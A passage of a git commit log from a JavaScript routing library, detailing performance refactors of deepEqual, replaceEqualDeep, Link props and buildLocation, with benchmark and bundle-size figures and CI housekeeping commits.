Object literals, `JSON.parse` output and `Object.create(literal)` inherit
`Object` as their constructor; `Object.create(null)` objects (the router's
search and params objects) have none, which `?? Object` accepts. Class
instances, arrays, `Map`, `Date`, functions and primitives fail it, as
before. The only accept-set differences are objects from another realm
(an iframe's `Object` is not `===` ours) and objects with a custom
`Symbol.toStringTag`; neither occurs in router state.

Paired runs against the previous version (hz, 1000 calls per iteration):

  deepEqual equal empty objects         25.6k -> 59.4k  (+132%)
  deepEqual nested, one changed leaf    11.3k -> 22.8k  (+102%)
  deepEqual equal flat (partial)        23.0k -> 39.7k   (+73%)
  replaceEqualDeep equal empty objects  10.6k -> 14.9k   (+40%)
  replaceEqualDeep equal array of objs    489 ->   604   (+24%)
  replaceEqualDeep equal nested          2.4k ->  2.8k   (+19%)
  replaceEqualDeep equal flat search     6.0k ->  7.0k   (+17%)

Adds an accept/reject table for `isPlainObject` and checks that class
instances stay opaque to structural sharing while null-prototype and
literal objects compare as equal.

* fix(router-core): keep records with a constructor key plain

`?constructor=foo` decodes to an own `constructor` data key on the
null-prototype search record, and `(o.constructor ?? Object) === Object`
read that key. Such records (and the `{ ...search }` copies of them) were
classified as non-plain, so `replaceEqualDeep` handed back `next` without
sharing and `deepEqual` reported them unequal.

Keep the constructor comparison as the fast accept: it is an inline-cache
load for literals and null-prototype records and is what the PR's speedup
comes from. When `constructor` is anything else, consult the actual
prototype instead of rejecting: `null` or one whose `constructor` is
`Object` means a record, anything else a class instance. The prototype
lookup is a builtin call (~6ns in megamorphic optimized code), so running
it unconditionally would return most of the gain: median hz over 3
rotated rounds, `replaceEqualDeep` equal empty 10.9k -> 8.6k (-21%),
equal array of objects 470 -> 386 (-18%), `deepEqual` equal empty
58.0k -> 35.9k (-38%). With the fallback only on the mismatch path the
hot cases stay within noise of the shortcut and the constructor-key
cases now do the sharing work at the same cost as other null-prototype
records. `react-router.minimal` gzip is +15 B against the shortcut and
still 44 B below the `toString` implementation.

Benchmarks the predicate directly (literal, null-prototype record, record
with a constructor key, class instance) and sharing of a search record
that carries a constructor key. Tests both record shapes and parser
output, all `constructor` value types, and that a class instance with an
own `constructor` key stays opaque.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-16 23:12:35 +02:00
Manuel Schiller
84936cc045
perf(router-core): allocate replaceEqualDeep copies lazily (#8362)
`replaceEqualDeep` runs on every navigation and Link build: search,
params, state and loader data all go through it, and in the common case
`next` turns out to be deeply equal to `prev`. Until now the function
still allocated the result object (or array) up front and filled it key
by key while comparing, only to throw it away and return `prev`.

The copy is now created at the first difference. Everything compared
before that point is known to be equal and is taken from `prev` in one
pass (`copyItems`), so unchanged subtrees are shared exactly as before.
When nothing differs, nothing is allocated; when only the key sets
differ, the copy is built after the loop.

Smaller changes in the same function:

- deep equality is a single `equal` flag instead of a matched-key count
  compared against the sizes afterwards; once unequal, the `hasOwn`
  check for keys that only `next` has is skipped
- `nullReplaceEqualDeep` passes a boolean instead of an object factory,
  so the plain variant no longer evaluates a default `() => ({})` per
  call and the copy site has no indirect call
- an overload signature keeps the generic return type without the
  `_next` alias in the emitted code
- `getEnumerableOwnKeys` loops over `getOwnPropertySymbols` directly;
  an empty loop needs no early return

`tests/replace-equal-deep.bench.ts` was added first, with the shapes the
router feeds these helpers. Paired runs against the previous version
(hz, 1000 calls per iteration):

  equal empty objects        10.0k -> 10.6k   (+6%)
  equal flat search           5.3k ->  5.9k  (+12%)
  equal nested search         2.2k ->  2.4k  (+13%)
  equal array of objects       445 ->   485   (+9%)
  flat, one changed leaf      5.4k ->  5.2k   (-3%)
  wide (12 keys) changed      2.4k ->  2.2k  (-11%)

The equal paths win and allocate nothing; the copy paths pay for the
extra call and the per-key `copy` check.
2026-09-16 23:12:34 +02:00
github-actions[bot]
de023a7533
ci: Version Packages (#8429)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-09-16 23:07:33 +02:00
Manuel Schiller
cbbfbe37ab
optimize streaming (#8204) 2026-09-16 22:38:25 +02:00
Manuel Schiller
1ca361ba52
refactor(router-core): parse masked locations without mutating shared state (#8421)
* refactor(router-core): parse masked locations without mutating shared state

`parseLocation` built the presented location of a masked entry by parsing
the stored `__tempLocation` and then patching and `delete`-ing keys on the
resulting `state`, which `replaceEqualDeep` may have shared with the
previous location, before spreading the result once more. The inner parser
now takes the state to use, so the masked branch passes the intended state
up front and assigns `maskedLocation` on the fresh object.

The slow parsing path only runs the input rewrite when one is configured,
and `resolvePathWithBase` is inlined into its two callers.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
(cherry picked from commit cc6159628cd22faf9c16e6e432cb35093b2826a8)

* refactor(router-core): remove redundant input rewrite guard

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-16 00:42:50 +02:00
Manuel Schiller
a1c8d1aa75
perf(router-core): pass resolvePath arguments positionally (#8419)
`resolvePath(base, to, trailingSlash?, cache?)` replaces the options object,
so `resolvePathWithBase` — called from `buildLocation` and `matchRoute` —
no longer allocates per path resolution. `resolvePath` is an internal
helper. react-router.minimal shrinks by 17 B gzip (60 raw).


(cherry picked from commit de7bc72a952aaf77bbedfd4453a4d12edadaad53)

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-16 00:42:50 +02:00
Manuel Schiller
a0b2ad99ae
perf(router-core): parse the location once in update and build rewrites without arrays (#8422)
* perf(router-core): parse the location once in update and build rewrites without arrays

- update(): compute the basepath/rewrite before the single updateLatestLocation
  call; the first update always saw basepathWasUnset, so every router
  construction parsed the location twice and re-published to a store created
  from the same location.
- invalidate(): fill the id set in one pass instead of spread/flat/filter/map.
- rewriteBasepath(basepath, caseSensitive?) takes positional arguments (it is
  internal) and the output rewrite uses cleanPath on a template string instead
  of joinPaths' array/filter/join.
- parseLocation(): inline the single-use fullPath local.

react-router.minimal 86019 -> 85989 gzip, react-router.full 89605 -> 89561 gzip.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
(cherry picked from commit 64978a1c8a8b5926c53797edcb528159c70ab093)

* perf(router-core): parse the location once in update and build rewrites without arrays [Self-Healing CI Rerun]

* test(router-core): cover basepath rewrite composition and updates

* perf(router-core): specialize internal basepath rewrites

* fix(router-core): key server route caches by case sensitivity

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-09-15 23:57:16 +02:00
Manuel Schiller
83895f1272
test(router-core): add a Link-like buildLocation benchmark (#8423)
Mirrors what useLinkProps does on every location publication: 32 links, each
with a stable dest object, pointing _fromLocation at a fresh location and
calling router.buildLocation inside their selector. Covers the static-cache
hit, search updaters (with and without middleware), relative destinations,
inherited params and masks. Baseline (Node 24.8, hz, mean of two runs):

  static cache hit         1,928,000   search updater   41,600
  + retainSearchParams        30,850   relative         29,800
  params: true                35,050   masked           20,500


(cherry picked from commit d4787b65e25e0817f747fc3c6dc0209889ffe174)

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-15 22:48:37 +02:00
Manuel Schiller
856cfcd05a
agents (#8258)
* agents

* update

* docs: require upstream fixes for dependency issues
2026-09-15 22:36:13 +02:00
Manuel Schiller
8e164d28f9
refactor(react-router): drop the useLinkProps pass-through wrapper (#8420)
`useLinkPropsFor` existed only to keep the `host` argument off the public
`useLinkProps` signature. Fold it into `useLinkProps` behind an `@internal`
overload; `stripInternal` removes that overload from the published
declarations, so the public signature stays `(options, forwardedRef?)`.
react-router.full shrinks by 24 B gzip.


(cherry picked from commit 918d3050850815abc8ae49518befda61cb29bf7b)

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-14 23:30:50 +02:00
Manuel Schiller
e561fa1d71
perf(router-core): pass deepEqual flags positionally (#8418)
`deepEqual(a, b, partial?, explicitUndefined?)` replaces the options
object. The hot callers (Link option stabilization and active-state checks,
matchRoute) no longer allocate `{ partial }` / `{ ignoreUndefined: false }`
per comparison, and the comparator reads two booleans instead of an options
parameter that saw four object shapes. `explicitUndefined` (falsy default)
replaces `ignoreUndefined: false` and reuses the `activeOptions` vocabulary.

deepEqual is an internal helper; two-argument callers are unaffected.

react-router.minimal shrinks by 48 B gzip (129 raw) on top of the previous
commit; the Link stabilization micro-benchmark improves by ~10% and the
paired Link component runner resolves three cases as faster.


(cherry picked from commit d6f2c1ca55a4900b33868cfc115ac7120d68d26b)

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-14 20:42:14 +02:00
Manuel Schiller
bc80866f6d
perf(router-core): skip recursion for identical array elements in deepEqual (#8417)
Compare array elements by identity before recursing, count the exact
comparison down with a single counter, and drop the `typeof` early exit,
which `Array.isArray`/`isPlainObject` already imply. Behavior, key
enumeration and getter read order are unchanged (pinned by the new contract
test).

Measured in one mixed-mode process (all option modes share the function's
type feedback, which is how the router uses it): equal numeric arrays ~+65%,
flat records +7-9%, nested records and mismatches +7-8%; every case
improves. Identity guards inside the object loops were rejected: they grow
the recursive function past what V8 keeps inlining and cost -31% on a
single-key mismatch. react-router.minimal shrinks by 4 B gzip.


(cherry picked from commit cb23ed54757255540cb203081c3423524d6483ca)

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-14 20:42:13 +02:00
Harry Whorlow
34bb302c09
chore(netlify): bump vite plugin and update trust policy (#8414) 2026-09-14 17:05:02 +02:00
github-actions[bot]
a768f66c2f
ci: Version Packages (#8413)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-09-14 11:40:25 +02:00
Flo
5facdbfe3d
test: fix Nx sandbox violations in CI tasks (#8400)
* test: declare remaining Nx sandbox inputs and outputs

* test: declare the ESLint Start build configuration input

* test: match generated route fixtures in Nx outputs

* ci: apply automated fixes

* test: keep mutable fixtures out of Nx cache replay

* test: declare inputs found in the latest Nx sandbox audit

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-09-14 10:54:23 +02:00
Flo
fda8a77405
test(e2e): let Playwright manage application servers (#8357) 2026-09-14 10:54:23 +02:00
Flo
e8b0701420
test(e2e): replace dummy APIs with MSW fixtures (#8402)
* test(e2e): replace dummy APIs with MSW fixtures

* test(e2e): require Node with native type stripping

* Merge branch 'codex/e2e-playwright-cache' into codex/e2e-runtime-fixtures [Self-Healing CI Rerun]

---------

Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-09-14 10:54:22 +02:00
Flo
702d9efe8b
fix(e2e): serialize Playwright runners per Nx agent (#8356)
fix(e2e): adopt upstream Playwright cache validation
2026-09-14 10:54:22 +02:00
Flo
ab99818225
chore(deps): upgrade Rsbuild to 2.2.5 (#8397)
* chore: upgrade Rsbuild to 2.2.5

* fix(rsbuild): preserve flags in watch exclusions

* Merge branch 'main' into codex/rsbuild-upgrade [Self-Healing CI Rerun]

---------

Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-09-14 10:54:21 +02:00
github-actions[bot]
6954a370a7
ci: Version Packages (#8355)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-09-13 15:13:54 +02:00
Manuel Schiller
bc57fa3f12
fix(router-core): review follow-ups for Link stack (#8410)
* chore(benchmarks): remove TSR_LINK_PERF opt-in flag

The router-core Link/path benchmarks and the react-link-performance
project are never part of the CodSpeed matrix or the client-nav/SSR
aggregate projects, so the env-var gate only added friction. Rely on
standard vitest name filtering (-t) to narrow runs instead.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* fix(router-core): treat 0 and false as provided _splat values

Splat interpolation used a falsy check, so _splat: 0 was omitted like a
missing param while $id: 0 interpolated to '/0'. Only undefined, null,
and '' now omit a splat segment, matching how other path params are
stringified.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* test(router-core): use path-derived ids in original-param-names fixtures

The matcher only uses route ids as routesById keys and for the pathless
'_' check, so unrelated ids worked but never occur in a real router.
Align the fixtures with the sibling test file's convention where each
id mirrors its fullPath.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(solid-router): shorten conditional Link class and style spreads

Spread `cond && { value }` instead of `cond ? { value } : undefined`,
matching the neighbouring `active && STATIC_ACTIVE_ATTRIBUTES` spread.
Falsy operands spread to nothing, so the emitted props are unchanged.

Measured with the bundle-size benchmark on solid-router.full:
gzip 39205 -> 39198 (-7), raw -12, brotli -33.

Covered by the existing `six-adults-open` changeset.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* test(router-core): drop the unused server axis from interpolatePath tests

The `interpolatePath (server: $server)` block never read its `server`
argument since interpolation stopped taking a server flag, so it ran every
case twice under a misleading label. The remaining diff is re-indentation;
review with `git show -w`.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* test(router-core): interpolate paths through the production API in tests

`interpolateTestPath` only survived as a compatibility layer from the
segment-reuse refactor: it emulated the removed
`(path, params, decoder, usedParams, keys, metadata)` signature by parsing
the template, re-implementing the param-name loop and folding
`hasMissingPathParams` into a metadata flag.

Call the real functions instead. Tests now parse templates with
`parseSegments(false, { fullPath }, 0)` exactly like `buildLocation` does
for templates without a processed route, pass the segments to
`interpolatePath`, and read names and availability from `getParamNames`
and `hasMissingPathParams`. The prepared-route tests compare route-owned
segments against that standalone parse directly, and the interpolation
bench derives its reference values the same way.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:08 +02:00
Manuel Schiller
1e6d9c8062
perf(router-core): match the current location lazily in buildLocation (#8406)
`buildLocation` matched the current location up front for every build,
although the result is only read by relative destinations, inherited
params, `search: true` or updater functions and search middlewares. An
absolute destination with its params given, on a branch without search
middlewares, never reads it, yet still paid three store reads and a
WeakMap lookup per call. The match is now computed on first read, and the
destination template is scanned for `$` once instead of twice.

Server `buildLocation` of `/items/$itemId` with params on a middleware-free
tree: 399 -> 382 ns per call (-4%). Builds that read the current match are
unchanged. react-router.minimal gzip +4 (86008 -> 86012, the stack base).

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:08 +02:00
Manuel Schiller
92719bd586
perf(react-router): memoize Link and forward refs without an effect (#8405)
* perf(react-router): memoize Link and forward refs without an effect

When a layout re-renders on navigation, for instance because it reads
`useLocation`, every Link below it re-renders too. Profiling 200 mounted
Links showed that re-render dominated by React's per-hook update work, the
element creation and the anchor's prop diff, not by the Link's own logic.
A Link's output depends only on its props, the router context and the
location store, all of which React tracks for memoized components, so
`Link` is now wrapped in `React.memo`. Router options are compared by
value, because destinations are usually inline object literals; element
props are compared by reference, since they may hold arbitrary, even
cyclic, user data. The comparator reuses `ROUTER_OPTION_KEYS`.

The memo adds one fiber per Link. To pay for it, `useForwardedRef` goes:
its `useImperativeHandle` was the only layout effect on a Link and ran for
every Link although most never receive a ref. The link keeps a plain
`useRef`; when a ref is forwarded, one callback fills both. The hook had no
other consumer. `enqueuePreload` no longer doubles as the cleanup path: the
preload effect cancels the intent timer directly.

Measurements (macOS arm64, Node 24.8.0, local, against the previous commit):
- Link client paired runner, 200 Links under a re-rendering layout
  (3 repeats): shared-params CPU -54%, masks -56%, rewrites -60%; links
  whose props can never compare equal (updater functions, inline
  `activeProps` functions) param-updaters +2.5% [-5.2, 10.9],
  location-updaters -1.0%, active -2.0%, all inconclusive.
- retained heap per mounted app 2782 -> 2738 KB; mount unchanged within
  noise (the memo fiber and the removed layout effect cancel out).
- react-router.minimal gzip 85968 -> 86008 (+40); the branch stays 4 bytes
  under the stack base.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* fix(react-router): memoize the Link's merged ref callback

The merged ref that fills a forwarded ref alongside the link's own ref was
an inline closure, so every Link render produced a new callback and React
detached and re-attached it: a consumer's callback ref was called with
`null` and then the element again on each location-driven re-render
(3 calls after one navigation instead of 1), and an object ref was cleared
and refilled inside the commit. `useImperativeHandle(ref, ..., [])` on main
only re-ran when the consumer's ref changed.

The callback is now memoized with `useCallback` on the forwarded ref, which
restores that contract: the consumer is notified on mount, when their ref
changes and on unmount. A cleanup returned by a consumer callback is still
passed through to React. Nothing reads `innerRef.current` after a detach
without a re-attach, so the wrapper that would clear it on cleanup is left
out (+19 gzip for no observable behavior).

`areLinkPropsEqual` keeps the same rule but states it in two steps, since
the nested condition read as if `children` were deep-compared: element
props (`children`, handlers, `style`, ...) only match by reference, and
only router options fall through to `deepEqual`.

Tests pin all three: a stable callback ref stays at one call across a
location change and is released when swapped, a returned cleanup runs on
unmount instead of a `null` call, and a new JSX child or a cyclic element
prop re-renders the Link instead of being compared deeply. The ref test
fails on the previous commit with `expected 1 call, got 3`.

Measurements (local: macOS arm64, Node 24.8.0, production React 19.2.3):

- `react-router.minimal` gzip 86008 -> 86004 (-4). The comparator
  restructure alone is -2; `useCallback` without the cleanup wrapper is
  neutral, the wrapper would have been +19.
- Mount of the 200-Link benchmark app, medians of 60 runs: 4.97 ms with
  `useImperativeHandle` (main's mechanism on top of this branch), 4.71 ms
  with the inline callback, 4.69 ms memoized. Retained heap per mounted app:
  -23 KB against `useImperativeHandle` (its layout effect keeps an effect
  node, a bound function and two deps arrays per fiber pair).
- Paired client runner, 3 repeats, memoized vs `useImperativeHandle`: 12/13
  workloads inconclusive, `rewrites` -4.6% [-9.0, -0.2]. Memoized vs the
  inline callback: +2.5% [1.4, 3.7] on `param-updaters` and +1.4% [0.4, 2.5]
  on `relative`, where every Link re-renders per navigation and pays the
  extra hook; the other 11 workloads are inconclusive.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:07 +02:00
Manuel Schiller
d740d8bf2d
perf(react-router): fewer hooks per Link (#8404)
A Link render ran about 25 hook slots. React allocates a hook object per
slot per render, plus a deps array for every memo, callback and effect, so
the slots set both the re-render cost and the retained fiber memory of a
mounted Link. Five of them did not need to exist:

- The three `useValueStable` refs for `search`, `params` and `activeOptions`
  become one `useStableValues` ref that replaces each entry only when its
  own contents change, so identities behave exactly as before.
- `_options` and its `dest` copy come out of one memo instead of two.
- `doPreload` is a module function, `preloadLink(router, options)`; the
  callback existed only to give the effects a stable identity.
- The IntersectionObserver effect and the render-preload effect merge into
  one preload effect whose cleanup also cancels a pending intent timer, as
  the observer hook's cleanup did. `useIntersectionObserver` had no other
  consumer and is removed.

`hasRenderFetched` stays: without it a link with an updater-function
`search` would preload on every render.

Measurements (macOS arm64, Node 24.8.0, local, 200 mounted Links):
- retained heap per mounted app 2949 -> 2782 KB (-6%, about -0.8 KB per Link)
- mount (router creation + first render) median 2.05 -> 1.90 ms
- Link client paired runner (4 repeats): shared-params CPU -3.0%
  [-5.3, -0.6], active -3.3% [-8.4, 2.1]
- react-router.minimal gzip 85984 -> 85968 (-16)

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:07 +02:00
Manuel Schiller
f2ff324b7a
refactor(react-router): one key set and one assembly path for Link props (#8401)
The client and the server each kept their own copy of the 35 option names:
the client as an object-rest destructure, the server as a Set. The two
paths then assembled the result differently, with an eleven-spread external
return and a fourteen-entry literal on the client and a fill-in-place
sequence on the server.

Both now share two helpers. `collectElementProps` copies every option the
router does not consume, using one `ROUTER_OPTION_KEYS` set plus the two
host rules (`Link` hosts never render `type`, an anchor has no `disabled`).
`applyLinkState` finishes a router-controlled link: the selected state
props, then the routing attributes and the merged class and style. It is
the one place that defines precedence and absorbs `resolveStateProps`. The
client adds its composed handlers between the two; the server adds
nothing. External links return the collected props with `ref` and `href`.

Element props therefore pass through as given instead of being stripped
and re-added: external links forward them verbatim, falsy values included,
and `useLinkProps` returns `children` for router-controlled links as it
already did for external ones. Class and style are assigned only when the
link or its state props provide one, so links without them carry no
`undefined` keys and empty strings are still dropped.

Measurements (macOS arm64, Node 24.8.0, local, against the previous commit):
- react-router.minimal gzip 86019 -> 85984 (-35); -28 against the stack
  base, which this branch previously exceeded by 7.
- Link client paired runner (3 repeats): shared-params CPU -13.8%,
  unique-params -11.4%, middleware -8.6%, encoding -13.2%, active -16.9%,
  all "faster". A 35-key object rest costs about 440 ns per call, the key
  set copy about 50 ns.
- Link SSR paired runner (6 repeats): +0.4% to +1.5%, inside the runner's
  +/-4% noise floor measured head-against-head. SSR bundle 189850 -> 189523.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:07 +02:00
Manuel Schiller
b747fb8891
perf(router): keep the location cache client-only and slim Link SSR (#8390)
* perf(router): keep the location cache client-only and slim Link SSR

The per-options location cache from the location-reuse changes only ever
hits on the client: server renders never repeat an options object, yet
every server build still created the WeakMap, looked it up per build, and
Solid/Vue server Links stored an entry per render. All three sites are now
guarded by `!(isServer ?? this.isServer)`. `isServer` is a per-bundle
constant, so server bundles contain no cache at all (the Link SSR bundle
has zero references); client bundles keep it unchanged.

Rendering a React Link on the server copied its props four times: `Link`
split off `_asChild`, `useLinkProps` split the router options off with an
object rest, the result was assembled with spreads, and `Link` copied once
more to drop `type` and `disabled`. Profiling showed the object rest alone
was 85% of the hook's self time: V8 checks every key against the whole
35-entry exclusion list (about 470 ns per call versus 95 ns for a key-set
copy).

`useLinkProps` is now a wrapper over `useLinkPropsFor(options, ref, host)`.
`Link` passes its host (`'a'` or the `createLink` component), so the hook
omits `disabled` for anchors and `type` for both, and `Link` passes the
result straight to `createElement`. The server branch is a separate
`getServerLinkProps` referenced only inside the `isServer` check, so it and
its key set are dropped from client bundles; it reads the few options it
needs, splits element props with the key set, fills the props object in
place with the same precedence and attribute order as before, and no
longer runs `useForwardedRef` (moved after the server return). The client
keeps its rest destructure; the host handling costs a few bytes there,
mostly paid back by the folded router-core guards (numbers below).

`encodePathLikeUrl` tests with one merged character class
(`/[\s\u0080-\uFFFF]/`), which matches exactly the same code units as the
alternation it replaces and is about 10% cheaper.

Measurements (macOS arm64, Node 24.8.0, local):
- Link SSR paired runner (ABBA, 4 fresh processes per case) against the
  previous stack top: all 13 cases faster, CPU -19.5% to -40.3%.
- Link client paired runner: all 13 cases faster, CPU -4.6% to -9.2%.
- Start SSR request loop (benchmarks/ssr, react), interleaved builds:
  3.120 -> 2.890 ms per loop (-7.4%), 320.5 -> 346.1 hz.
- Client bundle react-router.minimal gzip: 86012 -> 86021 (+9; raw +7,
  brotli -22): the router-core guards fold to -12, the Link host handling
  costs +19. The Link SSR bundle shrinks from 197832 to 189989 bytes.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* refactor(react-router): one state-prop precedence rule for every Link

Active and inactive state props overrode `ref` and the event handlers on
every link except a blocked one (a destination with a disallowed scheme),
where the forwarded ref and the router's handlers won. The exception dates
from the hardening change, whose test observed the then-general "router
wins" rule on a blocked link; when state props were later allowed to
override element props, blocked links were carved out to keep that test
green rather than by design. It bought no safety: `href`, `disabled` and
`target` are assigned after the state props in both orders, which is what
actually keeps a blocked destination inert. It did make the same
`inactiveProps` attach their `ref` and `onClick` on one inactive link and
silently drop them on another, and it differed from Solid's Link, which
applies one rule.

Blocked links now follow the same precedence as every other link: state
props override element props, `ref` and handlers; the routing attributes
always win. The server branch loses its if/else, the client loses the two
conditional spreads and the `blockedLink` flag. The blocked-link test now
pins the uniform rule together with the routing attributes it already
checked.

Measurements (macOS arm64, Node 24.8.0, local, against the previous commit):
- react-router.minimal gzip 86021 -> 86019 (-2), raw -38, brotli -33.
- Link client paired runner (3 repeats): shared-params CPU -11.6%
  [-15.1, -7.9], encoding -13.2% [-20.2, -5.7].
- Link SSR paired runner: within noise. SSR bundle 189989 -> 189850 bytes.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:06 +02:00
Manuel Schiller
9448caa03a
perf(router-core): keep search middleware collection optimized (#8385)
CodSpeed's memory instrument flagged the interrupted-navigations client
benchmark on the location-reuse changes (react +14.6%, vue +29.8%, solid
+10.8% peak memory). Under its worker flags (`--no-opt --predictable`,
single threaded) that benchmark's peak is set by a synchronous Maglev
compile that happens inside the measured run.

`getSearchMiddlewares` is compiled during the preparation calls and then
deoptimized on the first property load off a route's options. Before,
its only caller was the small `applySearchMiddleware`, which Maglev
compiled next and inlined it into, so the callee never tiered up again.
Since `build` calls it directly and does not inline it, it became hot
again during the measured run, and its recompilation (about four 32 KB
zone segments) set the peak.

Iterating `destRoutes` with a counted loop instead of `for...of` keeps the
function optimized once compiled: no deoptimization and no recompilation
in the measured window. Middleware order and live route-option reads are
unchanged. Hoisting the option reads alone did not help.

Local reproduction with a malloc interposer, CodSpeed's worker flags and
seven preparation calls, macOS arm64 / Node 24.8.0 (deterministic peaks):
- react: 248880 (base) -> 287760 (+15.6%) -> 248944 with this change
- vue:   256704 -> 292656 (+14.0%) -> 256640
- solid: 287408 -> 288240 (+0.3%)  -> 287632
These are local native allocations, not a new Linux CodSpeed CI run.
Bundle (react-router.minimal gzip): +8.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:06 +02:00
Manuel Schiller
6cfb1e8b56
perf(router-core): stop structurally sharing search and state in buildLocation (#8382)
`buildLocation` ran `nullReplaceEqualDeep` over the built search and
`replaceEqualDeep` over the built state against the current location on
every build. That work only affected object identity, and nothing reads
that identity from a built location:

- Links select href and isActive from the built location; active state is
  computed by value and ignores history state.
- `commitLocation` already compares state by value (`deepEqual` over
  `_getUserHistoryState`), so pre-shared children were at most a shortcut.
- The identity consumers actually rely on (selecting `location.state.user`
  or a nested search value without rerendering) comes from `parseLocation`,
  which stabilizes the committed location against the previous one. That
  sharing stays untouched, as do the `matchRoutes` sites for search, params
  and loaderDeps.

On the server `replaceEqualDeep` was already a passthrough, so client and
server builds now produce the same shapes.

Behavior changes:

- A literal `search` or `state` is returned as the caller's object. It is
  never written to: `commitLocation` and history both copy before adding
  `__hashScrollIntoViewOptions`, `__TSR_key`, `key` and the index.
- Because `replaceEqualDeep` returned the *current* search when contents
  were equal, `buildLocation` used to re-serialize the current key order.
  At `?a=1&b=2`, `buildLocation({ search: { b: 2, a: 1 } })` produced
  `?a=1&b=2`, so navigating there was a same-location no-op. It now
  produces `?b=2&a=1` and pushes a new history entry.
- A destination without `search` yields the frozen `EMPTY_RECORD`
  instead of a fresh or shared object. Nothing downstream mutates the
  built search; all consumers copy.

The `usedCurrent` tracking is unchanged: only reads through `current()` /
`currentMatch()` mark a build as location-dependent, so literal search and
state keep hitting the per-options cache.

Tests: the build-time sharing assertion (`explicit state structurally
shares unchanged nested values`) is replaced by a describe block that pins
the new contract: built search/state are the caller's objects, equal nested
references are preserved after navigation via parseLocation, `navigate`
does not mutate a plain or frozen caller state, and the key-order case is
covered at both the buildLocation and the navigation level.

Measurements (react-router.minimal, this tree):
gzip 86026 -> 86004 (-22), initial -23, raw -41, brotli +65.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:05 +02:00
Manuel Schiller
465c85a734
fix(react-router): treat Link params and search as immutable inputs (#8380)
`useValueStable` kept a shallow copy of `params` / `search` /
`activeOptions` (dac2bf249f) so that an object mutated in place would
yield a new reference on the next render. That only ever held one level
deep: a nested change such as `search.filters.page = 2` left the shared
nested reference in the copy, `deepEqual` short-circuited on it, `dest`
kept its identity and `buildLocation` served the cached location.

Detecting mutation is not a contract React lets us keep. A mutation on its
own never renders anything; the tests that exercised it needed a manual
re-render button to observe the change, which is the same situation as a
mutated `React.memo` prop or `useMemo` dependency. Rather than snapshot
deeper (measured +63 gzip bytes on react-router.minimal and a 3-5x slower
compare whenever nested references are shared, since nothing can
short-circuit), `useValueStable` stores the caller's reference again, as
on main. The reference is the router's invalidation signal: pass a new
object to change a destination.

The regression test now pins the contract that can actually break: fresh
inline literals with equal nested contents must not trigger another
`buildLocation`, and a nested value that changes through React state must
produce a new href on that render and keep it across navigations. The
accessor and in-place mutation tests are removed along with the promise
in the changeset.

Bundle (react-router.minimal gzip): 86038 -> 86026 (-12).

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:05 +02:00
Manuel Schiller
e9396c9289
perf(router): reuse location-independent Link destinations (#8370)
* perf(router-core): reuse location-independent Link destinations

Most mounted Links point at a destination that does not depend on where
the user currently is: an absolute `to`, literal params for every template
key, a literal (or no) search, hash and state. Until now every navigation
rebuilt all of them anyway, because `buildLocation` always started from the
current location.

`buildLocation` now tracks whether a build read the current location at
all. Every such read goes through `current()` / `currentMatch()`, which set
one flag; a build that finishes without it depends only on its options and
the route tree. When the caller passed `_fromLocation` (what Links do) and
no mask is involved, the resulting location is kept in a WeakMap keyed by
the options object, and the next `buildLocation` with that same object
returns it directly. `update()` and `setRoutes()` replace the map, so router
option changes and HMR route-tree rebuilds invalidate everything.

To make that flag meaningful the reads became demand-driven instead of
unconditional: an absolute `to` resolves without a base path, params that
cover the template skip the inherited-params merge, a literal search/hash/
state never touches the current values, and stringifiers fetch inherited
params only when a route defines one. Structural sharing with the current
search/state stays, as it only affects identity.

Contract: the same options object yields the same location until router
options or the route tree change. Callers own invalidation by passing a new
object when their values change (the follow-up react-router commit does
that with deepEqual-stabilized copies of `params`/`search`).

Once whole locations are reused, the per-route SIEVE pathname cache
(`_pathCache`, `InterpolationPlan`, `createPathInterpolator` and its router
